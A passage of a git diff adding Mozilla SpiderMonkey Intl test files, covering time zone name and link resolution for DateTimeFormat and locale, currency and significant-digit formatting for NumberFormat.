+ let timeZone = `Etc/GMT${gmtOffset > 0 ? "+" : ""}${gmtOffset}`;
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ assertEq(dtf.resolvedOptions().timeZone, timeZone);
+ }
+}
+
+
+const invalidEtcGMTNames = [
+ // Out of bounds GMT offset.
+ "Etc/GMT-15", "Etc/GMT+13",
+
+ // Etc/GMT[+-]hh:mm isn't a IANA time zone name.
+ "Etc/GMT-10:00", "Etc/GMT+10:00",
+ "Etc/GMT-1000", "Etc/GMT+1000",
+];
+
+for (let timeZone of invalidEtcGMTNames) {
+ for (let map of tzMapper) {
+ assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ }, RangeError);
+ }
+}
+
+
+// RangeError is thrown for primitive values, because ToString(<primitive>)
+// isn't a valid time zone name.
+for (let nonStrings of [null, 0, 0.5, true, false]) {
+ assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: nonStrings});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let {timeZone: tzAbsent} = new Intl.DateTimeFormat(undefined, {}).resolvedOptions();
+ let {timeZone: tzUndefined} = new Intl.DateTimeFormat(undefined, {timeZone: undefined}).resolvedOptions();
+
+ assertEq(typeof tzAbsent, "string");
+ assertEq(typeof tzUndefined, "string");
+ assertEq(tzUndefined, tzAbsent);
+
+ // The default time zone isn't a link name.
+ let {timeZone: tzDefault} = new Intl.DateTimeFormat(undefined, {timeZone: tzAbsent}).resolvedOptions();
+ assertEq(tzDefault, tzAbsent);
+}
+
+// Objects are converted through ToString().
+{
+ let timeZone = "Europe/Warsaw";
+ let obj = {
+ toString() {
+ return timeZone;
+ }
+ };
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: obj});
+ assertEq(dtf.resolvedOptions().timeZone, timeZone);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/Intl/DateTimeFormat/timeZone_backward_links.js b/js/src/tests/Intl/DateTimeFormat/timeZone_backward_links.js
new file mode 100644
index 000000000..aeb1fc043
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/timeZone_backward_links.js
@@ -0,0 +1,134 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2017c
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// Link names derived from IANA Time Zone Database, backward file.
+const links = {
+ "Africa/Asmera": "Africa/Asmara",
+ "America/Atka": "America/Adak",
+ "America/Buenos_Aires": "America/Argentina/Buenos_Aires",
+ "America/Catamarca": "America/Argentina/Catamarca",
+ "America/Cordoba": "America/Argentina/Cordoba",
+ "America/Fort_Wayne": "America/Indiana/Indianapolis",
+ "America/Indianapolis": "America/Indiana/Indianapolis",
+ "America/Jujuy": "America/Argentina/Jujuy",
+ "America/Knox_IN": "America/Indiana/Knox",
+ "America/Louisville": "America/Kentucky/Louisville",
+ "America/Mendoza": "America/Argentina/Mendoza",
+ "America/Porto_Acre": "America/Rio_Branco",
+ "America/Santa_Isabel": "America/Tijuana",
+ "America/Shiprock": "America/Denver",
+ "America/Virgin": "America/Port_of_Spain",
+ "Antarctica/South_Pole": "Antarctica/McMurdo",
+ "Asia/Ashkhabad": "Asia/Ashgabat",
+ "Asia/Calcutta": "Asia/Kolkata",
+ "Asia/Chungking": "Asia/Chongqing",
+ "Asia/Dacca": "Asia/Dhaka",
+ "Asia/Katmandu": "Asia/Kathmandu",
+ "Asia/Macao": "Asia/Macau",
+ "Asia/Rangoon": "Asia/Yangon",
+ "Asia/Saigon": "Asia/Ho_Chi_Minh",
+ "Asia/Thimbu": "Asia/Thimphu",
+ "Asia/Ujung_Pandang": "Asia/Makassar",
+ "Asia/Ulan_Bator": "Asia/Ulaanbaatar",
+ "Atlantic/Faeroe": "Atlantic/Faroe",
+ "Australia/ACT": "Australia/Sydney",
+ "Australia/Canberra": "Australia/Sydney",
+ "Australia/LHI": "Australia/Lord_Howe",
+ "Australia/NSW": "Australia/Sydney",
+ "Australia/North": "Australia/Darwin",
+ "Australia/Queensland": "Australia/Brisbane",
+ "Australia/South": "Australia/Adelaide",
+ "Australia/Tasmania": "Australia/Hobart",
+ "Australia/Victoria": "Australia/Melbourne",
+ "Australia/West": "Australia/Perth",
+ "Australia/Yancowinna": "Australia/Broken_Hill",
+ "Brazil/Acre": "America/Rio_Branco",
+ "Brazil/DeNoronha": "America/Noronha",
+ "Brazil/East": "America/Sao_Paulo",
+ "Brazil/West": "America/Manaus",
+ "Canada/Atlantic": "America/Halifax",
+ "Canada/Central": "America/Winnipeg",
+ "Canada/Eastern": "America/Toronto",
+ "Canada/Mountain": "America/Edmonton",
+ "Canada/Newfoundland": "America/St_Johns",
+ "Canada/Pacific": "America/Vancouver",
+ "Canada/Saskatchewan": "America/Regina",
+ "Canada/Yukon": "America/Whitehorse",
+ "Chile/Continental": "America/Santiago",
+ "Chile/EasterIsland": "Pacific/Easter",
+ "Cuba": "America/Havana",
+ "Egypt": "Africa/Cairo",
+ "Eire": "Europe/Dublin",
+ "GB": "Europe/London",
+ "GB-Eire": "Europe/London",
+ "GMT+0": "Etc/GMT",
+ "GMT-0": "Etc/GMT",
+ "GMT0": "Etc/GMT",
+ "Greenwich": "Etc/GMT",
+ "Hongkong": "Asia/Hong_Kong",
+ "Iceland": "Atlantic/Reykjavik",
+ "Iran": "Asia/Tehran",
+ "Israel": "Asia/Jerusalem",
+ "Jamaica": "America/Jamaica",
+ "Japan": "Asia/Tokyo",
+ "Kwajalein": "Pacific/Kwajalein",
+ "Libya": "Africa/Tripoli",
+ "Mexico/BajaNorte": "America/Tijuana",
+ "Mexico/BajaSur": "America/Mazatlan",
+ "Mexico/General": "America/Mexico_City",
+ "NZ": "Pacific/Auckland",
+ "NZ-CHAT": "Pacific/Chatham",
+ "Navajo": "America/Denver",
+ "PRC": "Asia/Shanghai",
+ "Pacific/Ponape": "Pacific/Pohnpei",
+ "Pacific/Samoa": "Pacific/Pago_Pago",
+ "Pacific/Truk": "Pacific/Chuuk",
+ "Pacific/Yap": "Pacific/Chuuk",
+ "Poland": "Europe/Warsaw",
+ "Portugal": "Europe/Lisbon",
+ "ROC": "Asia/Taipei",
+ "ROK": "Asia/Seoul",
+ "Singapore": "Asia/Singapore",
+ "Turkey": "Europe/Istanbul",
+ "UCT": "Etc/UCT",
+ "US/Alaska": "America/Anchorage",
+ "US/Aleutian": "America/Adak",
+ "US/Arizona": "America/Phoenix",
+ "US/Central": "America/Chicago",
+ "US/East-Indiana": "America/Indiana/Indianapolis",
+ "US/Eastern": "America/New_York",
+ "US/Hawaii": "Pacific/Honolulu",
+ "US/Indiana-Starke": "America/Indiana/Knox",
+ "US/Michigan": "America/Detroit",
+ "US/Mountain": "America/Denver",
+ "US/Pacific": "America/Los_Angeles",
+ "US/Samoa": "Pacific/Pago_Pago",
+ "UTC": "Etc/UTC",
+ "Universal": "Etc/UTC",
+ "W-SU": "Europe/Moscow",
+ "Zulu": "Etc/UTC",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/Intl/DateTimeFormat/timeZone_backzone.js b/js/src/tests/Intl/DateTimeFormat/timeZone_backzone.js
new file mode 100644
index 000000000..b9d957a82
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/timeZone_backzone.js
@@ -0,0 +1,115 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2017c
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// This file was generated with historical, pre-1970 backzone information
+// respected. Therefore, every zone key listed below is its own Zone, not
+// a Link to a modern-day target as IANA ignoring backzones would say.
+
+// Backzone zones derived from IANA Time Zone Database.
+const links = {
+ "Africa/Addis_Ababa": "Africa/Addis_Ababa",
+ "Africa/Asmara": "Africa/Asmara",
+ "Africa/Bamako": "Africa/Bamako",
+ "Africa/Bangui": "Africa/Bangui",
+ "Africa/Banjul": "Africa/Banjul",
+ "Africa/Blantyre": "Africa/Blantyre",
+ "Africa/Brazzaville": "Africa/Brazzaville",
+ "Africa/Bujumbura": "Africa/Bujumbura",
+ "Africa/Conakry": "Africa/Conakry",
+ "Africa/Dakar": "Africa/Dakar",
+ "Africa/Dar_es_Salaam": "Africa/Dar_es_Salaam",
+ "Africa/Djibouti": "Africa/Djibouti",
+ "Africa/Douala": "Africa/Douala",
+ "Africa/Freetown": "Africa/Freetown",
+ "Africa/Gaborone": "Africa/Gaborone",
+ "Africa/Harare": "Africa/Harare",
+ "Africa/Kampala": "Africa/Kampala",
+ "Africa/Kigali": "Africa/Kigali",
+ "Africa/Kinshasa": "Africa/Kinshasa",
+ "Africa/Libreville": "Africa/Libreville",
+ "Africa/Lome": "Africa/Lome",
+ "Africa/Luanda": "Africa/Luanda",
+ "Africa/Lubumbashi": "Africa/Lubumbashi",
+ "Africa/Lusaka": "Africa/Lusaka",
+ "Africa/Malabo": "Africa/Malabo",
+ "Africa/Maseru": "Africa/Maseru",
+ "Africa/Mbabane": "Africa/Mbabane",
+ "Africa/Mogadishu": "Africa/Mogadishu",
+ "Africa/Niamey": "Africa/Niamey",
+ "Africa/Nouakchott": "Africa/Nouakchott",
+ "Africa/Ouagadougou": "Africa/Ouagadougou",
+ "Africa/Porto-Novo": "Africa/Porto-Novo",
+ "Africa/Sao_Tome": "Africa/Sao_Tome",
+ "Africa/Timbuktu": "Africa/Timbuktu",
+ "America/Anguilla": "America/Anguilla",
+ "America/Antigua": "America/Antigua",
+ "America/Argentina/ComodRivadavia": "America/Argentina/ComodRivadavia",
+ "America/Aruba": "America/Aruba",
+ "America/Cayman": "America/Cayman",
+ "America/Coral_Harbour": "America/Coral_Harbour",
+ "America/Dominica": "America/Dominica",
+ "America/Ensenada": "America/Ensenada",
+ "America/Grenada": "America/Grenada",
+ "America/Guadeloupe": "America/Guadeloupe",
+ "America/Montreal": "America/Montreal",
+ "America/Montserrat": "America/Montserrat",
+ "America/Rosario": "America/Rosario",
+ "America/St_Kitts": "America/St_Kitts",
+ "America/St_Lucia": "America/St_Lucia",
+ "America/St_Thomas": "America/St_Thomas",
+ "America/St_Vincent": "America/St_Vincent",
+ "America/Tortola": "America/Tortola",
+ "Antarctica/McMurdo": "Antarctica/McMurdo",
+ "Asia/Aden": "Asia/Aden",
+ "Asia/Bahrain": "Asia/Bahrain",
+ "Asia/Chongqing": "Asia/Chongqing",
+ "Asia/Harbin": "Asia/Harbin",
+ "Asia/Kashgar": "Asia/Kashgar",
+ "Asia/Kuwait": "Asia/Kuwait",
+ "Asia/Muscat": "Asia/Muscat",
+ "Asia/Phnom_Penh": "Asia/Phnom_Penh",
+ "Asia/Tel_Aviv": "Asia/Tel_Aviv",
+ "Asia/Vientiane": "Asia/Vientiane",
+ "Atlantic/Jan_Mayen": "Atlantic/Jan_Mayen",
+ "Atlantic/St_Helena": "Atlantic/St_Helena",
+ "Europe/Belfast": "Europe/Belfast",
+ "Europe/Guernsey": "Europe/Guernsey",
+ "Europe/Isle_of_Man": "Europe/Isle_of_Man",
+ "Europe/Jersey": "Europe/Jersey",
+ "Europe/Ljubljana": "Europe/Ljubljana",
+ "Europe/Sarajevo": "Europe/Sarajevo",
+ "Europe/Skopje": "Europe/Skopje",
+ "Europe/Tiraspol": "Europe/Tiraspol",
+ "Europe/Vaduz": "Europe/Vaduz",
+ "Europe/Zagreb": "Europe/Zagreb",
+ "Indian/Antananarivo": "Indian/Antananarivo",
+ "Indian/Comoro": "Indian/Comoro",
+ "Indian/Mayotte": "Indian/Mayotte",
+ "Pacific/Johnston": "Pacific/Johnston",
+ "Pacific/Midway": "Pacific/Midway",
+ "Pacific/Saipan": "Pacific/Saipan",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/Intl/DateTimeFormat/timeZone_backzone_links.js b/js/src/tests/Intl/DateTimeFormat/timeZone_backzone_links.js
new file mode 100644
index 000000000..7a358e997
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/timeZone_backzone_links.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2017c
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// This file was generated with historical, pre-1970 backzone information
+// respected. Therefore, every zone key listed below points to a target
+// in the backzone file and not to its modern-day target as IANA ignoring
+// backzones would say.
+
+// Backzone links derived from IANA Time Zone Database.
+const links = {
+ "Africa/Asmera": "Africa/Asmara",
+ "Antarctica/South_Pole": "Antarctica/McMurdo",
+ "Asia/Chungking": "Asia/Chongqing",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/Intl/DateTimeFormat/timeZone_notbackward_links.js b/js/src/tests/Intl/DateTimeFormat/timeZone_notbackward_links.js
new file mode 100644
index 000000000..9515cb394
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/timeZone_notbackward_links.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2017c
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// Link names derived from IANA Time Zone Database, excluding backward file.
+const links = {
+ "America/Kralendijk": "America/Curacao",
+ "America/Lower_Princes": "America/Curacao",
+ "America/Marigot": "America/Port_of_Spain",
+ "America/St_Barthelemy": "America/Port_of_Spain",
+ "Arctic/Longyearbyen": "Europe/Oslo",
+ "Asia/Istanbul": "Europe/Istanbul",
+ "Etc/GMT+0": "Etc/GMT",
+ "Etc/GMT-0": "Etc/GMT",
+ "Etc/GMT0": "Etc/GMT",
+ "Etc/Greenwich": "Etc/GMT",
+ "Etc/Universal": "Etc/UTC",
+ "Etc/Zulu": "Etc/UTC",
+ "Europe/Bratislava": "Europe/Prague",
+ "Europe/Busingen": "Europe/Zurich",
+ "Europe/Mariehamn": "Europe/Helsinki",
+ "Europe/Nicosia": "Asia/Nicosia",
+ "Europe/Podgorica": "Europe/Belgrade",
+ "Europe/San_Marino": "Europe/Rome",
+ "Europe/Vatican": "Europe/Rome",
+ "GMT": "Etc/GMT",
+ "US/Pacific-New": "America/Los_Angeles",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/Intl/NumberFormat/StringBuffer.js b/js/src/tests/Intl/NumberFormat/StringBuffer.js
new file mode 100644
index 000000000..ab72e21d4
--- /dev/null
+++ b/js/src/tests/Intl/NumberFormat/StringBuffer.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// The implementation of the format function uses the C++ StringBuffer class,
+// which changes its storage model at 32 characters, and uses it in a way which
+// also means that there's no room for null-termination at this limit.
+// This test makes sure that none of this affects the output.
+
+var format = new Intl.NumberFormat("it-IT", {minimumFractionDigits: 1});
+
+assertEq(format.format(1123123123123123123123.1), "1.123.123.123.123.120.000.000,0");
+assertEq(format.format(12123123123123123123123.1), "12.123.123.123.123.100.000.000,0");
+assertEq(format.format(123123123123123123123123.1), "123.123.123.123.123.000.000.000,0");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/Intl/NumberFormat/browser.js b/js/src/tests/Intl/NumberFormat/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/NumberFormat/browser.js
diff --git a/js/src/tests/Intl/NumberFormat/duplicate-singleton-variant.js b/js/src/tests/Intl/NumberFormat/duplicate-singleton-variant.js
new file mode 100644
index 000000000..61fdf3b7d
--- /dev/null
+++ b/js/src/tests/Intl/NumberFormat/duplicate-singleton-variant.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Check for duplicate variants and singletons case-insensitively, but don't
+// check in privateuse components.
+
+function checkInvalidLocale(locale)
+{
+ try
+ {
+ new Intl.NumberFormat(locale);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof RangeError, true,
+ "expected RangeError for locale '" + locale + "', got " + e);
+ }
+}
+
+var badLocales =
+ [
+ "en-u-foo-U-foo",
+ "en-tester-Tester",
+ "en-tesTER-TESter",
+ "de-DE-u-kn-true-U-kn-true",
+ "ar-u-foo-q-bar-u-baz",
+ "ar-z-moo-u-foo-q-bar-z-eit-u-baz",
+ ];
+
+for (var locale of badLocales)
+ checkInvalidLocale(locale);
+
+// Fully-privateuse locales are okay.
+for (var locale of badLocales)
+ new Intl.NumberFormat("x-" + locale).format(5);
+
+// Locales with trailing privateuse also okay.
+for (var locale of badLocales)
+{
+ new Intl.NumberFormat("en-x-" + locale).format(5);
+ new Intl.NumberFormat("en-u-foo-x-u-" + locale).format(5);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/Intl/NumberFormat/format-as-code-or-name.js b/js/src/tests/Intl/NumberFormat/format-as-code-or-name.js
new file mode 100644
index 000000000..ba257ecd7
--- /dev/null
+++ b/js/src/tests/Intl/NumberFormat/format-as-code-or-name.js
@@ -0,0 +1,75 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1093421;
+var summary =
+ "new Intl.NumberFormat(..., { style: 'currency', currency: '...', " +
+ "currencyDisplay: 'name' or 'code' }) should have behavior other than " +
+ "throwing";
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+// Test that currencyDisplay: "code" behaves correctly and doesn't throw.
+
+var usdCodeOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsCode = new Intl.NumberFormat("en-US", usdCodeOptions);
+assertEq(/USD/.test(usDollarsCode.format(25)), true);
+
+// ISO 4217 currency codes are formed from an ISO 3166-1 alpha-2 country code
+// followed by a third letter. ISO 3166 guarantees that no country code
+// starting with "X" will ever be assigned. Stepping carefully around a few
+// 4217-designated special "currencies", XQQ will never have a representation.
+// Thus, yes: this really is specified to work, as unrecognized or unsupported
+// codes pass into the string unmodified.
+var xqqCodeOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyCode = new Intl.NumberFormat("en-US", xqqCodeOptions);
+assertEq(/XQQ/.test(xqqMoneyCode.format(25)), true);
+
+// Test that currencyDisplay: "name" behaves without throwing. (Unlike the two
+// above tests, the results here aren't guaranteed as the name is
+// implementation-defined.)
+var usdNameOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsName = new Intl.NumberFormat("en-US", usdNameOptions);
+assertEq(usDollarsName.format(25), "25 US dollars");
+
+// But if the implementation doesn't recognize the currency, the provided code
+// is used in place of a proper name, unmolested.
+var xqqNameOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyName = new Intl.NumberFormat("en-US", xqqNameOptions);
+assertEq(/XQQ/.test(xqqMoneyName.format(25)), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/Intl/NumberFormat/format.js b/js/src/tests/Intl/NumberFormat/format.js
new file mode 100644
index 000000000..1f1dba87a
--- /dev/null
+++ b/js/src/tests/Intl/NumberFormat/format.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+
+var format;
+
+// Locale en-US; default options.
+format = new Intl.NumberFormat("en-us");
+assertEq(format.format(0), "0");
+assertEq(format.format(-1), "-1");
+assertEq(format.format(123456789.123456789), "123,456,789.123");
+
+// Locale en-US; currency USD.
+// The US dollar uses two fractional digits, and negative values are commonly
+// parenthesized.
+format = new Intl.NumberFormat("en-us", {style: "currency", currency: "USD"});
+assertEq(format.format(0), "$0.00");
+assertEq(format.format(-1), "-$1.00");
+assertEq(format.format(123456789.123456789), "$123,456,789.12");
+
+// Locale ja-JP; currency JPY.
+// The Japanese yen has no subunit in real life.
+format = new Intl.NumberFormat("ja-jp", {style: "currency", currency: "JPY"});
+assertEq(format.format(0), "¥0");
+assertEq(format.format(-1), "-¥1");
+assertEq(format.format(123456789.123456789), "¥123,456,789");
+
+// Locale ar-JO; currency JOD.
+// The Jordanian Dinar divides into 1000 fils. Jordan uses (real) Arabic digits.
+format = new Intl.NumberFormat("ar-jo", {style: "currency", currency: "JOD"});
+assertEq(format.format(0), "٠٫٠٠٠ د.أ.‏");
+assertEq(format.format(-1), "؜-١٫٠٠٠ د.أ.‏");
+assertEq(format.format(123456789.123456789), "١٢٣٬٤٥٦٬٧٨٩٫١٢٣ د.أ.‏");
+
+// Locale th-TH; Thai digits, percent, two significant digits.
+format = new Intl.NumberFormat("th-th-u-nu-thai",
+ {style: "percent",
+ minimumSignificantDigits: 2,
+ maximumSignificantDigits: 2});
+assertEq(format.format(0), "๐.๐%");
+assertEq(format.format(-0.01), "-๑.๐%");
+assertEq(format.format(1.10), "๑๑๐%");
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/Intl/NumberFormat/remove-unicode-extensions.js b/js/src/tests/Intl/NumberFormat/remove-unicode-extensions.js
new file mode 100644
index 000000000..4d5d249ad
--- /dev/null
+++ b/js/src/tests/Intl/NumberFormat/remove-unicode-extensions.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Locale processing is supposed to internally remove any Unicode extension
+// sequences in the locale. Test that various weird testcases invoking
+// algorithmic edge cases don't assert or throw exceptions.
+
+var weirdCases =
+ [
+ "x-u-foo",
+ "en-x-u-foo",
+ "en-a-bar-x-u-foo",
+ "en-x-u-foo-a-bar",
+ "en-a-bar-u-baz-x-u-foo",
+ ];
+
+for (var locale of weirdCases)
+ Intl.NumberFormat(locale).format(5);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/Intl/NumberFormat/shell.js b/js/src/tests/Intl/NumberFormat/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/NumberFormat/shell.js
diff --git a/js/src/tests/Intl/NumberFormat/significantDigitsOfZero.js b/js/src/tests/Intl/NumberFormat/significantDigitsOfZero.js
new file mode 100644
index 000000000..f2cd77cda
--- /dev/null
+++ b/js/src/tests/Intl/NumberFormat/significantDigitsOfZero.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// -- test that NumberFormat correctly formats 0 with various numbers of significant digits
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var testData = [
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 1, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 2, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 3, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 4, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 5, expected: "0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 2, expected: "0.0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 3, expected: "0.0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 4, expected: "0.0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 5, expected: "0.0"},
+ {minimumSignificantDigits: 3, maximumSignificantDigits: 3, expected: "0.00"},
+ {minimumSignificantDigits: 3, maximumSignificantDigits: 4, expected: "0.00"},
+ {minimumSignificantDigits: 3, maximumSignificantDigits: 5, expected: "0.00"},
+];
+
+for (var i = 0; i < testData.length; i++) {
+ var min = testData[i].minimumSignificantDigits;
+ var max = testData[i].maximumSignificantDigits;
+ var options = {minimumSignificantDigits: min, maximumSignificantDigits: max};
+ var format = new Intl.NumberFormat("en-US", options);
+ assertEq(format.format(0), testData[i].expected,
+ "Wrong formatted string for 0 with " +
+ "minimumSignificantDigits " + min +
+ ", maximumSignificantDigits " + max +
+ ": expected \"" + expected +
+ "\", actual \"" + actual + "\"");
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/Intl/NumberFormat/supportedLocalesOf.js b/js/src/tests/Intl/NumberFormat/supportedLocalesOf.js
new file mode 100644
index 000000000..5ba4470a9
--- /dev/null
+++ b/js/src/tests/Intl/NumberFormat/supportedLocalesOf.js
@@ -0,0 +1,371 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// number formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
